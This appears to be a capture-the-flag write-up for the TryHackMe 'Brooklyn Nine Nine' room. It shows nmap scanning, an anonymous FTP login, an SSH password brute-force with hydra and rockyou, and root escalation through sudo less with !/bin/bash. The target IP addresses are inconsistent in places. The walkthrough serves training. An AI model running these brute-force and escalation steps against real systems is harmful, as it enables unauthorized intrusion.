December 17, 20224 minutes

https://tryhackme.com/room/brooklynninenine

Attacker IP = 10.10.10.10

Target IP = 10.10.243.15

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.243.15
PING 10.10.243.15 (10.10.243.15) 56(84) bytes of data.
64 bytes from 10.10.243.15: icmp_seq=1 ttl=63 time=96.3 ms

--- 10.10.243.15 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.338/96.338/96.338/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.243.15 -oG allPort

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.100.94
   5   │     [*] Open ports: 21,22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p21,22,80 -sC -sV 10.10.243.15 -oN target

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.10.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 167fa2ffe0fba98777d6d3eb62572c6a3 (RSA)
|   256 2e3b61594bc429ba5e858396f6fe99bee (ECDSA)
|_  256 ab162e79203c9b0a019c8c4426015a804 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)

Port 21#

nmap reported that we can log in to port 21 as anonymous (ftp-anon: Anonymous FTP login allowed)

Inside there is a file called note_to_jake.txt, which we can download to our machine with get note_to_jake.txt

Contents of note_to_jake.txt#

The note_to_jake.txt file contains the following message

From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

From this message we can see there are three users:

• Amy
• Holt
• Jake

Foothold

Amy says Jake’s password is too weak; knowing this, we can try to brute force SSH as jake with hydra.

Hydra is considered the standard security tool for running brute-force attacks against service accounts.

❯ hydra -l jake -P /usr/share/wordlists/rockyou.txt 10.10.92.221 ssh -t 40

[22][ssh] host: 10.10.84.47   login: jake   password: ---------

Now we can connect over SSH as jake

ssh [email protected]

TTY upgrade#

First, to work more comfortably, we upgrade the terminal with the following commands:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg

reset

xterm

export SHELL=bash

export TERM=xterm

user.txt#

There is nothing in /home/jake or /home/amy, but user.txt is in /home/holt

Privilege escalation

❯ sudo -l

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less

What is less?#

Less is a program similar to more, but it allows backward movement in the file as well as forward movement. Also, less doesn’t have to read the whole input file before starting, so with large input files it starts up faster than text editors like vi

How to escalate with less?#

If the binary is allowed to run as superuser with sudo, it does not drop the elevated privileges and can be used to access the file system, escalate or maintain privileged access.

The first step is to run less with sudo and give it a file we want to read, for example user.txt

sudo less user.txt

Then, if we type !/bin/bash and press enter, we are root

root@brookly_nine_nine:/home/holt# whoami
root